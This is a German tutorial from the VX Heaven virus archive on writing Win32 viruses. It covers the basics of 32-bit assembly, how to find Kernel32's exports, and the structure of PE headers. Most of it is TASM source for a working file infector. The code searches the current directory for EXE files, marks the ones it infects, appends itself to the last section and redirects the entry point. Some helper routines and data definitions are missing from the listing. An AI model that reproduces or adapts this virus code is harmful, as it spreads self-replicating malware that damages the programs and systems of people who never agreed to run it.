Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Win32 Viren

SnakeByte

[zurück zum Index] [Kommentare]

Endlich ist es soweit und ich habe wieder etwas Zeit für ein Tutorial. Diesmal geht es um Viren unter Windows. Nach so einem Tutorial wurde ich des öfteren gefragt, da es um einiges "aktueller" ist als Dos-Viren. Was gibt es also neues?

  1. Win32-Bit Assembler
  2. Die Api's
  3. PE-Exe Format

1) Win32-Bit Assembler

Die Programmiersprache ist etwas anders, es gibt jetzt 32-Bit Register die durch ein vorangestelltes 'e' gekennzeichnet werden (eax, ebx, ecx.. ) Die alten Register sind aber weiterhin nutzbar. Dazu kommen die API's, die die alten Interrupts ersetzen. Auch ist es nun nicht mehr möglich direkt auf Geräte ( Lautsprecher etc ) zuzugreifen, da normalerweise alle Programme auf Ring-3 ebene laufen. Das System selber und alle Gerätetreiber ( .Vxd ) laufen auf Ring-0 und haben dieses Privileg. Auch die SEH's ( Structural Error Handler ) schränken die Freiheit unter Windows ein, diese Fenster werden dann angezeigt, wenn zum Beispiel durch Null geteilt wird oder man auf nicht freigegebene Speicherbereiche zugegriffen wird. Borland TASM 5.0 eignet sich auch weiterhin als Compiler / Linker, allerdings müssen nun TASM32 und TLINK32 verwendet werden. TD32 ist der entsprechende Debugger. Das soll an dieser Stelle erstmal alles zu Win32-Bit Programmierung sein, ich bin allerdings dabei ein Win32-ASM Tutorial vorzubereiten ( kann aber noch etwas dauern.. ;)

2) Die Api's

Wie eben schon erwähnt ersetzen die API's die alten Interrupts. Wo unter DOS die INT's bzw. die Anfangsaddressen im Speicher lagen ist klar (INT-Nr. * 4), allerdings konnten sie auch direkt über einen Opcode wie z.B. INT 03h (0CCH) aufgerufen werden, so das man sich um die Addressen nicht zu kümmern brauchte. In Windows ist dies allerdings anders. Die API's sind exportierte Funktionen aus den verschiedensten DLL-Dateien (Kernel32.dll und User32.dll sind die am häufigsten gebrauchten ) Wenn Windows nun beim hochfahren die Kernel32.dll lädt, ist diese unter Win9x an einem festen Punkt, jedoch nicht unter NT. Wiso ist die Addresse wichtig ? Den API's ist unter Windows nicht ein fester Opcode zugeordnet, wie dies unter DOS mit den Int's der Fall ist. Beim Ausführen einer PE-Exe wird in der Import-Table der EXE gelesen und dann in einen festgelegten Bereich die Addressen der API's geschrieben. Im Code ist dann ein call zu dieser Addresse. z.B.:

        [...]
        call    MessageBoxA     ; wir rufen den API auf
        [...]
MessageBoxA:
        jmp     xxxxxxxx        ; dies ist ein Sprung in die User32.dll, die diesen API enthält
 

Das xxxxxxxx wird dann beim Start durch den Anfangspunkt des API's im Speicher ersetzt. Wie kommt nun ein Virus an die Startaddressen der API's im Kernels? Man braucht im Grunde nur 2 API's um alle anderen zu erhalten:

GetProcAddress
Gibt den Anfangspunkt einer beliebigen DLL
GetModuleHandle
Gibt den Anfangspunkt eines API's

Beide API's sind in der Kernel32.dll vorhanden. Zuerst versuchte man durch fixe Werte der Kernel32.dll diese API's zu ermitteln, jedoch führte die unter den verschiedenen Windows-Versionen zu Fehlern. Danach ging man dazu über die beiden aus der Import-Table der eigenen, infizierten Datei zu ermitteln, jedoch schlug dies fehl wenn die EXE diese beiden API's nicht verwendete. Nun aber zu dem besten Weg um an die Anfangsaddresse der Kernel32.dll zu kommen um dann in ihrer Export-Tabelle nach den beiden API's zu suchen. Wenn eine Datei ausgeführt wird geschieht dies über den CreateProcess API, der auch in der Kernel32.dll enthalten ist. Wenn eine Datei nun ausgeführt wird, liegt der Rücksprungspunkt zu dieser Prozedur auf dem Stack.

        .486P
        .Model  Flat ,StdCall

        extrn   ExitProcess:PROC        ; Hier deklarieren wir die benötigten API's
                                        ; ExitProcess beendet die Ausführung
.Data
        db      0h                      ; der Bereich für die Daten
.Code
Main:
        ret                             ; hier springen wir zurück in den CreateProcess
        End     Main
 

Dieser Code läuft einwandfrei und kehrt einfach direkt nach dem Start zurück in den CreateProcess. Zuerst holen wir nun die Addresse aus dem Stack und runden sie, da DLL's immer an runde Speicherpostitionen geladen werden.

        mov     eax, [esp]
        xor     ax, ax
 

Nun haben wir in eax möglicherweise die Addresse des Kernels. Dies testen wir, indem wir auf das altbekannte "MZ" testen, das auch die PE-EXE Dateien, wie sie DLL's auch sind einleitet. Mehr Code dazu später...

3) PE-Exe Format

Unter Windows gibt es ein neues Dateiformat, die PE-EXE. Nur zur Information: Win 3.1 und die Vorgänger hatten schon ein neues Format, die NE (New Executable) Exe Datei, aber diese war für uns nicht so wichtig ;) Die PE-Exe wird unter Windows nicht nur für EXE-Dateien sondern auch für .scr, .dll, .vxd, .ocx... verwendet. Die PE-Exe (Portable Executable) hat, hat grob folgende Struktur:

Fangen wir vorne an. Der Dos-Stub ist genau das gleiche wie der DOS-Exe Header, er ist dazu da, damit die Dateien auch unter Dos ausführbar bleiben und dem verduzten User mitgeteilt wird "This program cannot be run in DOS mode", damit er weiß das er es hier mit einer Windows Datei zu tun hat (Kann auch anders lauten, ist vom Compiler zu Compiler verschieden.) Der Dos Header interessiert uns eigentlich nur nebensächlich, da er uns den Start des PE-Headers angibt und das MZ-Zeichen enthält. An Offset 3Ch des Dos-Stubs finden wir das Offset des PE-Headers. Dieses Offset des PE-Headers ist auch vom Compiler abhängig. Auch das MZ sollte vor einer Infektion überprüft werd, damit sicher ist das es sich um eine EXE-Datei handelt. (evtl. noch testen ob der erhaltene Offset auch innerhalb der Datei liegt und sie nicht evtl. beschädigt ist). Der PE-Header fängt mit einem 'PE',0h,0h an (also 50540000h). Dieses müsst ihr überprüfen, wenn ihr nicht bei alten (Dos / NE) Exe-Dateien in Probleme geraten wollt. Hier einfach mal alle wichtigen Stellen des PE-Headers, ich werde nachher auf die einzelnen noch einmal eingehen. Die Offsets sind alle relativ zum Anfang des PE Headers!

00hMagic Value ("PE",0,0)
06hNumber of Sections
16hCharacteristics
28hEntrypoint (Initial EIP)
34hImage Base
38hSection Alignment
4ChReserved (0)
Magic Value ("PE",0,0)
Sollte klar sein, habe ich oben schon erklärt.
Number of Sections
Die Anzahl der einzelnen Abschnitte der Datei (Code, Data, Whatever .. ;) Wir brauchen diese Anzahl, um den Section Header des letzten Abschnittes zu ermitteln, da wir in diesen unseren Virus schreiben wollen.
Characteristics
Gibt an, ob es sich evtl. um eine DLL Datei handelt. Diese sollten wir nicht infizieren.
        mov     bx, word ptr [edi]      ; edi zeigt auf das Feld
        and     bx, 0F000h              ; wir checken nur das DLL Feld
        cmp     bx, 02000h              ; bleib eine 200 übrig
        je      GotaDLL                 ; haben wir eine DLL
 
Entrypoint
Das ist der Punkt an dem der Code anfängt (später unser Virus)
Image Base
Wenn eine EXE Datei geladen wird, wird sie von Windows an den Speicherbereich geladen, der hier angegeben ist. Alle andereren Adressangaben im Header sind immer relativ zum Anfang der Datei. Wenn die Datei geladen wird wird die Imagebase zu den Adressen addiert, so das man die Adresse im Speicher enthält. (Wenn wir die Datei in den Speicher laden müssen wir diese Werte natürlich auch angleichen)
Section Alignment
Dies ist der Wert auf den die Sektionen & die Datei gerundet werden müssen.
Reserved (0)
Ein unbenutztes Feld, perfekt für unsere Infektionsmarke ;)

Ok, nun etwas zur Section Table. Die Section Table enthält Informationen über den Abschnitt der Datei. So können zum Beispiel Flags gesetzt werden, ob der Abschnitt lesbar, beschreibbar oder ausführbar ist. (Die .Code Sektion ist normalerweise nicht beschreibbar !) Diesmal sind die Offsets relativ zum Start der Section Table.

08hVirtual Size (Größe der Sektion)
0ChVirtual Address (Start der Sektion)
10hSize of Raw Data
14hPointer to Raw Data
24hCharacteristics (Flags)
Virtual Size
Echte Größe der Sektion
Virtual Address
Wenn man die Startadresse einer Sektion im Speicher herausfinden will, addiert man zu diese Adresse, die Imagebase
Size of Raw Data
Gerundete Größe der Sektion
Pointer to Raw Data
Offset der Sektion in relation zum Anfang der Datei
Characteristics
Dieses Feld enthält Flags, die angeben, was mit dieser Sektion geschehen darf. Hier einmal die für uns wichtigen:
20hCode
20000000hdarf ausgeführt werden
40000000hlesbar
80000000hbeschreibbar

Welche dieser Felder sollte ein Virus normalerweise ändern?

Das sollte soweit als Erklärung reichen, hier mal den Quellcode eines simplen Viruses, ich hoffe die Kommentare sollten alles weitere erklären.

; ***************************************************************************
; ---------------------------[ Hier starten wir ]----------------------------
; ***************************************************************************

.586p
.model flat
jumps                      ; Jumps werden berechnet
.radix 16                  ; Alle Nummern sind Hexadezimal

                           ; ein paar API's
extrn ExitProcess:PROC     ; Fake-host für die 1. Generation

extrn MessageBoxA:PROC     ; Zum Testen, damit man nicht immer gleich zum debugger
                           ; greifen muss

.data                      ; Pseudo-Data, da TASM dies hier sonst nicht
 db ?                      ; kompilieren würde, wir speichern alle Daten in der
                           ; Code Sektion. Aus diesem Grund müssen wir nach dem
                           ; Compilieren PEWRSEC benutzen damit wir auch Lesezugriff
                           ; auf die Code Sektion haben !

                           ; Zwei Konstanten die ich nicht selber berechnen will ;)
 VirusSize  equ (offset VirusEnd - offset Virus )
 Buffersize equ (offset EndBufferData - offset VirusEnd )

                           ; Struktur die wir für die FindFirstFile / Next brauchen
 FILETIME                STRUC
 FT_dwLowDateTime        dd       ?
 FT_dwHighDateTime       dd       ?
 FILETIME                ENDS

.code

; ***************************************************************************
; -----------[ Delta Offset Berechnung und suchen nach dem Kernel ]----------
; ***************************************************************************


Virus:                     ; Hier starten wir

 call Delta                ; Alte Methode um den Delta Offset zu berechnen,
                           ; damit die Offsets relativ sind
Delta:
 pop ebp                   ; durch den Call legen wir die momentane Adresse auf den Stack
 sub ebp, offset Delta     ; subtrahieren, die Originaladresse und errechnen so unseren
                           ; Relationsfaktor in ebp

                           ; Wir speichern diese beiden Werte ( EIP & Imagebase )
                           ; um später zu dem Code der infizierten Datei springen zu können
 mov eax, dword ptr [ebp+OldEIP]
 mov dword ptr [ebp+retEIP], eax
 mov eax, dword ptr [ebp+OldBase]
 mov dword ptr [ebp+retBas], eax

 mov esi, [esp]            ; wir lesen die return Adresse des Create Process API aus dem
 xor si, si                ; Stack und runden ihn auf eine volle Page

 call GetKernel            ; Prozedur die den Kernel testet
 jnc GetApis               ; Falls wir den Kernel haben, suchen wir nach den API's

                           ; Wenn nicht, suchen wir nach dem Kernel
                           ; an mehreren fixen Adressen
                           ; Doch sollte der obige Weg meistens klappen

 mov esi, 0BFF70000h       ; Win95 Kernel Adresse testen
 call GetKernel
 jnc GetApis
 
 mov esi, 077F00000h       ; WinNT Kernel Addy
 call GetKernel
 jnc GetApis
 
 mov esi, 077e00000h       ; Win2k Kernel Addy
 call GetKernel
 jnc GetApis
                           ; wenn wir den Kernel immernoch nicht
 jmp ExecuteHost           ; gefunden haben starten wir die infizierte Datei

; ***************************************************************************
; ---------------[ Suchen nach der Adresse des Kernels ]---------------------
; ***************************************************************************

GetKernel:                 ; Wir suchen nach dem Kernel
                           ; Wir durchsuchen maximal 5 Pages
 mov byte ptr [ebp+K32Trys], 5h

GK1:
 cmp byte ptr [ebp+K32Trys], 00h
 jz NoKernel               ; Sind wir an unserem Limit vorbei ?

 call CheckMZSign          ; Hat diese Page einen EXE-Header ( Stub )
 jnc CheckPE

GK2:
 sub esi, 10000h           ; Suchen nach der nächsten Page
 dec byte ptr [ebp+K32Trys]
 jmp GK1                   ; Start des Tests

CheckPE:                   ; Testen ob es auch eine Win32Bit EXE ist
 mov edi, [esi+3Ch]        ; da die Kernel32.dll auch eine PE-EXE ist
 add edi, esi
 call CheckPESign

 jnc CheckDLL              ; nun testen wir noch ob wir eine DLL gefunden haben
 jmp GK2

CheckDLL:
 add edi, 16h              ; suchen nach dem Flag
 mov bx, word ptr [edi]    ; Characteristics laden
 and bx, 0F000h            ; DLL Flag raussuchen
 cmp bx, 02000h            ; und testen ob es gesetzt ist
 jne GK2                   ; wenn es keine DLL ist suchen wir weiter
 
KernelFound:               ; Wir haben den Kernel gefunden !
 sub edi, 16h              ; edi wird auf den PE - Header gesetzt
 xchg eax, edi             ; PE Adresse wird in eax gespeichert
 xchg ebx, esi             ; MZ Adresse in ebx
 clc                       ; löschen des Carriage Flags
 ret                       ; Rückkehr

NoKernel:                  ; wenn wir den Kernel nicht gefunden haben,
 stc                       ; löschen wir das Carriage Flag und beenden die Prozedur
 ret


 K32Trys      db 5h        ; Suchweite

; ***************************************************************************
; -------------------------[ Suchen nach den API's ]-------------------------
; ***************************************************************************

 
                           ; Diese 2 API's suchen wir im Kernel.
                           ; Wir brauchen diese beiden um alle anderen APIs zu ermitteln
                           ; Ich bevorzuge LoadLibraryA zu GetModuleHandle,
                           ; weil es nun nicht mehr nötig ist, das die infizierte Datei
                           ; auch API's aus den DLL's die wir brauchen läd, denn
                           ; wir laden sie selbst,... ;)

 LL  db 'LoadLibraryA', 0h ; Diese beiden API's suchen wir
 GPA db 'GetProcAddress', 0h

GetApis:                   ; Offset des Kernel32.dll PE-Headers ist in EAX

 mov [ebp+KernelAddy], eax ; Speichern
 mov [ebp+MZAddy], ebx

 lea edx, [ebp+LL]         ; Zeiger auf den Namen der LoadLibaryA - API
 mov ecx, 0Ch              ; Länge des Namens
 call SearchAPI1           ; such ihn !
 mov [ebp+XLoadLibraryA], eax
                           ; Adresse speichern

 xchg eax, ecx             ; Wenn wir einen der beiden API's nicht ermitteln können
 jecxz ExecuteHost         ; starten wir das infizierte Prog
   
 lea edx, [ebp+GPA]        ; Name der GetProcAddress - API
 mov ecx, 0Eh              ; Länge
 call SearchAPI1
 mov [ebp+XGetProcAddress], eax

 xchg eax, ecx             ; testen ob wir ihn haben
 jecxz ExecuteHost

                           ; Nun haben wir alle API's die wir brauchen und können
 jmp GetAPI2               ; alle anderen ermitteln


 KERNEL32  db 'Kernel32',0 ; jaja, den jump hätte man weglassen können, aber so ist
                           ; es übersichtlicher !

GetAPI2:                   ; Wir bekommen die anderen API's durch das ermitteln der
                           ; DLL um dann die API's selber zu lokalisieren

                           ; Wir ermitteln die Handles durch
                           ; Aufruf der LoadLibrary API.. :)
                           ; falls das schiefläuft starten wir
                           ; die Originaldatei

 lea eax, [ebp+KERNEL32]
 push eax
 call dword ptr [ebp+XLoadLibraryA]
 mov [ebp+K32Handle], eax
 test eax, eax
 jz ExecuteHost

 lea esi, [ebp+Kernel32Names]
 lea edi, [ebp+XFindFirstFileA]
 mov ebx, [ebp+K32Handle]
 push NumberOfKernel32APIS
 pop ecx
 call GetAPI3
 jmp Outbreak

; ***************************************************************************
; ---------[ Durchsuchen der Kernel Export Table nach API's ]----------------
; ***************************************************************************


SearchAPI1:                ; In dieser Prozedur suchen wir nach den 2 Hauptapi's
                           ; Counter löschen
 and word ptr [ebp+counter], 0h
 
 mov eax, [ebp+KernelAddy] ; PE-Header Offset laden

 mov esi, [eax+78h]        ; Export Table Address ermitteln
 add esi, [ebp+MZAddy]     ; aus der relativen Adresse eine absolute machen
 add esi, 1Ch              ; nicht benötigten Daten werden übersprungen
 
 lodsd                     ; Die Address Table ermitteln
 add eax, [ebp+MZAddy]     ; zu einem absoluten Wert umrechnen und speichern
 mov dword ptr [ebp+ATableVA], eax

 lodsd                     ; Name Pointer Table ermitteln,
 add eax, [ebp+MZAddy]     ; umrechnen und speichern
 mov dword ptr [ebp+NTableVA], eax
 
 lodsd                     ; Ordinal Table ermitteln,
 add eax, [ebp+MZAddy]     ; und... rate mal ;)
 mov dword ptr [ebp+OTableVA], eax

 mov esi, [ebp+NTableVA]   ; Name Pointer Table Addy in esi laden

SearchNextApi1:
 push esi                  ; auf den Stack legen
 lodsd
 add eax, [ebp+MZAddy]     ; und auf eine absolute Adresse umrechnen

 mov esi, eax              ; API Name in der Kernel Export API in esi
 mov edi, edx              ; API die wir suchen in edi
 push ecx                  ; Länge speichern

 cld                       ; Direction flag löschen
 rep cmpsb                 ; Vergleichen
 pop ecx
 jz FoundApi1              ; Sind sie gleich ?

 pop esi                   ; Name Pointer Table laden
 add esi, 4h               ; Zeiger auf nächsten API-Namen setzen
 inc word ptr [ebp+counter]
 cmp word ptr [ebp+counter], 2000h
 je NotFoundApi1           ; falls wir mehr als 2000 API's getestet haben, haben wir ein
                           ; Problem ;)
 jmp SearchNextApi1        ; Nächste API testen
 
FoundApi1:
 pop esi                   ; Stack leeren ( wir wollen ja keine Buffer Overflows
                           ; ok, wir wollen sie, aber nicht heute und nicht hier *bg* )

 movzx eax, word ptr [ebp+counter]
 shl eax, 1h               ; eax mit 2 multiplizieren
                           ; damit eax auf den richtigen Eintrag zeigt

 add eax, dword ptr [ebp+OTableVA]
 xor esi, esi              ; esi löschen
 xchg eax, esi             ; esi zeigt nun auf den Eintrag
 lodsw                     ; Ordinal in AX laden
 shl eax, 2h               ; eax * 4
 add eax, dword ptr [ebp+ATableVA]
 mov esi, eax              ; esi zeigt auf die Adress RVA
 lodsd                     ; eax = Adress RVA
 add eax, [ebp+MZAddy]     ; in einen absoluten Wert umrechnen

 ret                       ; API ist nun in EAX und wir springen zurück
 
NotFoundApi1:
 xor eax, eax              ; Wir haben den entsprechenden API nicht gefunden :(
 ret                       ; EAX wird mit 0 als Fehlercode gefüllt



; ***************************************************************************
; -----------------------------[ API - Tabellen ]----------------------------
; ***************************************************************************

                           ; Hier folgt eine Tabelle der API's die wir brauchen
                           ; Wenn du wissen willst was sie alle machen, lies die
                           ; Win32 Programmer's Reference
                           ; Ich werde sie hier nicht erklären ( ich denk mal die Namen
                           ; sagen genug aus *g* )

Kernel32Names:

 NumberOfKernel32APIS equ 8d

 db 'FindFirstFileA', 0
 db 'FindNextFileA', 0
 db 'FindClose', 0
 db 'CreateFileA', 0
 db 'CloseHandle', 0
 db 'CreateFileMappingA', 0
 db 'MapViewOfFile', 0
 db 'UnmapViewOfFile', 0


; ***************************************************************************
; --------------[ API's mit GetProcAddress ermitteln ]-----------------------
; ***************************************************************************

                           ; esi zeigt auf die Tablle der Names
                           ; edi auf die offsets der API's
                           ; ebx hat das Handel des Moduls
                           ; ecx die Nummer der API's
GetAPI3:
 push ecx                  ; ecx speichern

 push esi                  ; push Api-name
 push ebx                  ; push Module-Handle
                           ; call GetProcAddress

 call dword ptr [ebp+XGetProcAddress]
 stosd                     ; Adresse des Offsets speichern

 pop ecx                   ; Haben wir alle ?
 dec ecx
 jz EndApi3

 push ecx                  ; ansonsten legen wir ESI auf den nächsten Namen

SearchZero:                ; wir suchen nach dem Ende des
 cmp byte ptr [esi], 0h
 je GotZero                ; API-Namens ( immer 0 )
 inc esi
 jmp SearchZero
 
GotZero:
 inc esi
 pop ecx                   ; Anzahl der restlichen APIs laden

 jmp GetAPI3               ; nächsten API ermitteln

 EndApi3:
 ret


; ***************************************************************************
; ---------------------[ Outbreak ! lasst uns infizieren ]-------------------
; ***************************************************************************
Outbreak:
                           ; Nun haben wir alles was wir brauchen um ein
                           ; paar Dateien zu infizieren ;)

 mov [ebp+InfCounter], 10d ; Wir wollen max. 10 Dateien infizieren

; ***************************************************************************
; ---------------[ Infektion des momentanen Verzeichnisses ]-----------------
; ***************************************************************************


InfectCurDir:              ; Hier infizieren wir die Dateien im Momentanen Verzeichnis
                           ; Wir benutzen die FindFirstFile - FindNextFile API's
                           ; um alle PE-EXE Dateien zu finden

 lea esi, [ebp+filemask]
 call FindFirstFileProc

 inc eax
 jz EndInfectCurDir1       ; Wenn wir keine Dateien finden, beenden wir die Prozedur
 dec eax

InfectCurDirFile:
                           ; Dateiname in ESI laden
 lea esi, [ebp+WFD_szFileName]
 call InfectFile           ; Wir versuchen die Datei zu infizieren
 
 cmp [ebp+InfCounter], 0h  ; Checken ob wir unser Limit an Dateien infiziert haben
 jna EndInfectCurDir2

 call FindNextFileProc

 test eax, eax
 jnz InfectCurDirFile
 
EndInfectCurDir2:          ; Search - Handle schließen

 push dword ptr [ebp+FindHandle]
 call dword ptr [ebp+XFindClose]

EndInfectCurDir1:
 jmp ExecuteHost


 InfCounter db 0h          ; Counter

 FindHandle dd 0h          ; Handle für FindFirstFile API

 filemask   db '*.EXE', 0  ; wir suchen nach EXE - Dateien


; ***************************************************************************
; ---------------------[ Original Program ausführen ]------------------------
; ***************************************************************************



ExecuteHost:               ; Wir führen das infizierte Programm aus

 or ebp, ebp               ; Wenn dies der Virus der ersten Generation ist
 jz FirstGenHost           ; können wir keine infizierte Datei ausführen, deshalb
                           ; stoppen wir dies mit dem ExitProcess..

 mov eax,12345678h         ; Rückkehr zur alten Imagebase+EIP
 org $-4
 retEIP dd 0h

 add eax,12345678h
 org $-4
 retBas dd 0h

 jmp eax


FirstGenHost:
 push 0h                   ; Hier beenden wir den Virus mit dem ExitProcess API's
 call ExitProcess          ; ( nur erste Generation )


 OldEIP  dd 0h             ; Gespeicherter Entry Point
 OldBase dd 0h             ; Gespeicherte Imagebase

 NewEIP  dd 0h             ; Neuer EIP ( zeigt auf unseren Virus.. )




; ***************************************************************************
; -------------------[ Infektion der Datei vorbereiten  ]--------------------
; ***************************************************************************

InfectFile:                ; Hier bereiten wir die Infektion vor,
                           ; der Dateiname ist in [ebp+WFD_szFileName]
                           ; Wir öffnen sie und überprüfen, ob wir
                           ; die Datei infizieren können
                           ; esi zeigt auch auf den Dateiname

                           ; Wenn die Datei kleiner als
                           ; 200 Bytes ist wird sie nicht überprüft

 cmp dword ptr [ebp+WFD_nFileSizeLow], 200d
 jbe NoInfection
                           ; Wir infizieren auch keine Dateien, die größer als 4,3 GB sind
 cmp dword ptr [ebp+WFD_nFileSizeHigh], 0
 jne NoInfection

 call OpenFile             ; Datei öffnen
 jc NoInfection            ; Wenn es Probleme gibt, beenden wir dies

 mov esi, eax

 call CheckMZSign          ; Wir machen nur weiter wenn der DOS-Stub existiert
 jc Notagoodfile

 cmp word ptr [eax+3Ch], 0h
 je Notagoodfile

 xor esi, esi              ; Wir ermitteln den Anfang des PE-Headers
 mov esi, [eax+3Ch]
                           ; Falls er ausserhalb der Datei liegt schließen wir diese wieder
 cmp dword ptr [ebp+WFD_nFileSizeLow], esi
 jb Notagoodfile

 add esi, eax

 mov edi, esi
 call CheckPESign          ; Überprüfen ob diese Datei einen PE-Header hat
 jc Notagoodfile
                           ; wir überprüfen ob unsere Infektionsmarke gesetzt ist
                           ; --> Test

 cmp dword ptr [esi+4Ch], 'tseT'
 jz Notagoodfile

 mov bx, word ptr [esi+16h]; Charakteristiken der Datei aus dem PE-Header lesen
 and bx, 0F000h            ; Dll-Flag auswählen
 cmp bx, 02000h
 je Notagoodfile           ; wir wollen keine DLL Dateien infizieren

 mov bx, word ptr [esi+16h]; Charakteristiken erneut lesen
 and bx, 00002h            ; Überprüfen ob wir OBJ Dateien haben
 cmp bx, 00002h
 jne Notagoodfile        

 call InfectEXE            ; Alles klar, diese Datei können wir infizieren

 jc NoInfection            ; Falls es Fehler gibt, während
                           ; wir die Datei neu mappen brauchen wir sie
                           ; nicht wieder unmappen und zu schließen


Notagoodfile:
 call UnMapFile            ; Wir unmappen die Datei und schreiben dadurch
                           ; wieder auf die Platte

NoInfection:
 ret


; ***************************************************************************
; -------------------[ Öffnen und schließen der Dateien ]--------------------
; ***************************************************************************

OpenFile:

 xor eax,eax               ; Wir öffnen die Dateie
 push eax
 push eax
 push 3h
 push eax
 inc eax
 push eax
 push 80000000h or 40000000h
 push esi                  ; Name der Datei in esi
 call dword ptr [ebp+XCreateFileA]

 inc eax
 jz Closed                 ; Falls es Fehler gibt stoppen wir hier
 dec eax                   ; Der Datei-Handle ist in eax, wir speichern ihn

 mov dword ptr [ebp+FileHandle],eax

                           ; Wir mappen die Datei mit der Größe aus der Find32-Daten
                           ; Struktur
 mov ecx, dword ptr [ebp+WFD_nFileSizeLow]

CreateMap:                 ; ist die Datei schon geöffnen mappen
                           ; wir sie in der Größe aus ecx
 push ecx                  ; Datei speichern

 xor eax,eax               ; wir müssen ein Map erstellen um in der Lage
 push eax                  ; zu sein, sie vernünftig zu editieren
 push ecx
 push eax
 push 00000004h
 push eax
 push dword ptr [ebp+FileHandle]
 call dword ptr [ebp+XCreateFileMappingA]

 mov dword ptr [ebp+MapHandle],eax

 pop ecx                   ; Größe wieder laden
 test eax, eax             ; Wenn es nen Fehler beim Mappen gab, schließen wir die
 jz CloseFile              ; Datei wieder...

 xor eax,eax               ; Die Datei wird gemappt.. *bla*
 push ecx
 push eax
 push eax
 push 2h
 push dword ptr [ebp+MapHandle]
 call dword ptr [ebp+XMapViewOfFile]

 or eax,eax                ; Falls es Fehler gab, unmappen wir sie wieder
 jz UnMapFile
                           ; EAX enthält den offset an dem die Datei nun liegt

 mov dword ptr [ebp+MapAddress],eax
                           ; Carriage Flag wird gelöscht, da wir Erfolg hatten
 clc                       ; Datei offen --> kein flag
                           ; Datei zu    --> Carriage Flag
 ret

UnMapFile:                 ; Datei wieder unmappen

 call UnMapFile2

CloseFile:                 ; und schließen

 push dword ptr [ebp+FileHandle]
 call [ebp+XCloseHandle]

Closed:
 stc                       ; Carriage Flag setzen
 ret

UnMapFile2:                ; Wir müssen sie öfters unmappen um sie später
                           ; mit mehr Platz zu mappen, damit wir den Virus
                           ; anhängen können

 push dword ptr [ebp+MapAddress]
 call dword ptr [ebp+XUnmapViewOfFile]

 push dword ptr [ebp+MapHandle]
 call dword ptr [ebp+XCloseHandle]

 ret

 
; ***************************************************************************
; ----------------------[ Infektion der EXE-Datei ]--------------------------
; ***************************************************************************

InfectEXE:                 ; MapAddress enthält den Startoffset der Datei

 mov ecx, [esi+3Ch]        ; esi zeigt auf den PE-Header
                           ; ecx enthält nun den Alignment Faktor
                           ; Die Größe wird in eax geladen

 mov eax, dword ptr [ebp+WFD_nFileSizeLow]
 add eax, VirusSize
 
 call Align                ; nun wird die neue Größe auf den Alignment Faktor gerundet
 mov dword ptr [ebp+NewSize], eax
 xchg ecx, eax

 pushad                    ; Register speichern
                           ; Wir schließen die Datei und laden sie mit
                           ; der neu ermittelten Größe, so das wir unseren
                           ; Code hinzufügen können
 call UnMapFile2
 popad                     ; Register wiederherstellen

 call CreateMap            ; Neu Mappen
                           ; Beenden falls es Fehler gab
 jc NoEXE
                           ; esi soll wieder auf den PE-Header zeigen
 mov esi, dword ptr [eax+3Ch]
                           ; wieder in einen absoluten Wert umrechenen

 add esi, eax
 mov edi, esi              ; edi = esi
                           ; eax = Anzahl der Sektionen
                           ; wir ermitteln nun die letzte Sektion, damit wir
                           ; dort unseren Code anhängen können
 movzx eax, word ptr [edi+06h]
 dec eax
 imul eax, eax, 28h        ; mit 28 ( der Größe der Sektion-Header ) multiplizieren,
                           ; damit wir den letzten Sektion Header ermitteln
 add esi, eax              ; in absolute Adresse umrechnen
 add esi, 78h              ; Auf die Directory Table zeigen lassen

 mov edx, [edi+74h]        ; Anzahl der Directory Entrys ermitteln
 shl edx, 3h               ; mit 8 multiplizieren
 add esi, edx              ; damit esi auf den letzten Eintrag zeigt

                           ; Entry Point ermitteln und speichern, damit
                           ; wir in der Lage sind zur Originaldatei zurückzuspringen
 mov eax, [edi+28h]
 mov dword ptr [ebp+OldEIP], eax

                           ; Imagebase ermitteln und speichern
 mov eax, [edi+34h]
 mov dword ptr [ebp+OldBase], eax

 mov edx, [esi+10h]        ; Größe der RAW-Data ermitteln
                           ; die wir später vergrößern
 mov ebx, edx
 add edx, [esi+14h]        ; edx = Zeiger auf raw-data
 push edx                  ; auf dem Stack speichern

 mov eax, ebx
 add eax, [esi+0Ch]        ; in absolute Adresse umrechnen
                           ; damit haben wir unsere neue EIP ( Ende der alten RAW-Data )
 mov [edi+28h], eax
 mov dword ptr [ebp+NewEIP], eax

 mov eax, [esi+10h]        ; Raw-Data Größe erhöhen
 push eax
 add eax, VirusSize
 mov ecx, [edi+3Ch]        ; und runden
 call Align

                           ; in der Datei als neue Größe speichern
 mov [esi+10h], eax

 pop eax                   ; neue Virual-Size berechnen
 add eax, VirusSize
 add eax, Buffersize
 mov [esi+08h], eax

 pop edx

 mov eax, [esi+10h]
 add eax, [esi+0Ch]        ; Neue Imagesize berechnen
 mov [edi+50h], eax
                           ; Sektion flags ändern, damit wir Lese & Schreibzugriff
                           ; haben wenn die Datei ausgeführt wird
                           ; Natürlich setzen wir auch das Code Flag.. ;)
 or dword ptr [esi+24h], 0A0000020h
                           ; Wir schreiben nun noch unsere Infektionsmarke in die
                           ; Datei, damit wir sie nicht doppelt infizieren
                           ; --> Test
 mov dword ptr [edi+4Ch], 'tseT'

 xchg edi, edx

 lea esi, [ebp+Virus]      ; Nun hängen wir zuguterletzt unseren Virus an
 add edi, dword ptr [ebp+MapAddress]
 mov ecx, VirusSize
                           ; Größe in ECX, Start in esi, Datei in edi
 rep movsb                 ; Virus anhängen

 dec byte ptr [ebp+InfCounter]

NoEXE:                     ; Nun beenden wir die Prozedur, und schreiben
                           ; dann die Datei auf die Platte ( unmappen )
 stc
ret


; ***************************************************************************
; --------------------------[ Align-Prozedur ]-------------------------------
; ***************************************************************************
                           ; Größe runden..
                           ; eax - Größe
                           ; ecx - Rundungsbasis
Align:
 push edx
 xor edx, edx
 push eax
 div ecx
 pop eax
 sub ecx, edx
 add eax, ecx
 pop edx                   ; eax - Neue Größe
ret


; ***************************************************************************
; --------------------------[ FindFile Prozeduren ]--------------------------
; ***************************************************************************

                           ; Diese Prozeduren suchen nach Dateien

FindFirstFileProc:
 lea eax, [ebp+WIN32_FIND_DATA]
 push eax
 push esi
 call dword ptr [ebp+XFindFirstFileA]
 mov dword ptr [ebp+FindHandle], eax
ret

FindNextFileProc:
 lea edi, [ebp+WFD_szFileName]
 mov ecx, 276d             ; Wir löschen die Felder, damit wir nicht noch Überreste
                           ; einer alten Suche drinnen haben
 xor eax, eax
 rep stosb
 
 lea eax, [ebp+WIN32_FIND_DATA]
 push eax
 mov eax, dword ptr [ebp+FindHandle]
 push eax
 call dword ptr [ebp+XFindNextFileA]
ret


;****************************************************************************
